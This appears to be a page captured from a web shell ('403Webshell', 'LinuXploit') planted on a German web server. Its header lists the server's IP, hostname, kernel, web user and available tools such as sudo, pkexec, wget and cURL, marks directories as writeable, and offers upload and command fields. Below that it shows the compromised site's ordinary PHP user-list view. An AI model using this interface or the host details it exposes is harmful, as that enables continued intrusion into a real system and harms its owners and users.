403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/seaside2.pacim.de/web/app/views/users/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/seaside2.pacim.de/web/app/views/users/index.php
<?php /** @var array $users */ ?>
<div class="card shadow-sm">
    <div class="card-body">
        <div class="d-flex flex-wrap gap-2 align-items-center justify-content-between mb-4">
            <div>
                <h5 class="card-title mb-1">Benutzer</h5>
                <p class="text-muted small mb-0"><?php echo count($users); ?> Benutzer im System.</p>
            </div>
            <a href="/?page=users/create" class="btn btn-primary btn-sm">
                <i class="bi bi-plus-lg me-1"></i> Neuer Benutzer
            </a>
        </div>

        <?php if (empty($users)): ?>
            <div class="empty-state">
                <i class="bi bi-people"></i>
                <h6 class="mt-3 mb-1">Keine Benutzer angelegt</h6>
            </div>
        <?php else: ?>
            <div class="table-responsive">
                <table class="table align-middle mb-0">
                    <thead>
                    <tr>
                        <th>Name</th>
                        <th>E-Mail</th>
                        <th>Rolle</th>
                        <th>Status</th>
                        <th>Letzter Login</th>
                        <th>Angelegt</th>
                        <th class="text-end" data-no-sort>Aktionen</th>
                    </tr>
                    </thead>
                    <tbody>
                    <?php foreach ($users as $u): ?>
                        <tr>
                            <td>
                                <div class="fw-semibold"><?php echo safeText($u['first_name'] . ' ' . $u['last_name']); ?></div>
                                <div class="text-muted small">ID #<?php echo (int)$u['id']; ?></div>
                            </td>
                            <td><?php echo safeText($u['email']); ?></td>
                            <td><span class="badge bg-light text-dark border"><?php echo safeText(Permission::roleLabel($u['role'])); ?></span></td>
                            <td><span class="badge <?php echo badgeClass($u['status']); ?>"><?php echo safeText(statusLabel($u['status'])); ?></span></td>
                            <td class="small"><?php echo $u['last_login_at'] ? formatDateTime($u['last_login_at']) : '<span class="text-muted">noch nie</span>'; ?></td>
                            <td class="small text-muted"><?php echo formatDate($u['created_at']); ?></td>
                            <td class="text-end">
                                <a href="/?page=profile&user_id=<?php echo (int)$u['id']; ?>" class="btn btn-sm btn-outline-secondary">Profil</a>
                                <a href="/?page=users/edit&id=<?php echo (int)$u['id']; ?>" class="btn btn-sm btn-outline-primary">Bearbeiten</a>
                                <?php if ((int)$u['id'] !== Auth::id()): ?>
                                    <form method="post" action="/?page=users/delete&id=<?php echo (int)$u['id']; ?>" class="d-inline"
                                          onsubmit="return confirm('Benutzer wirklich löschen?');">
                                        <?php echo csrfField(); ?>
                                        <button type="submit" class="btn btn-sm btn-outline-danger">Löschen</button>
                                    </form>
                                <?php endif; ?>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        <?php endif; ?>
    </div>
</div>

<?php if (!empty($pagination)) require __DIR__ . '/../partials/pagination.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit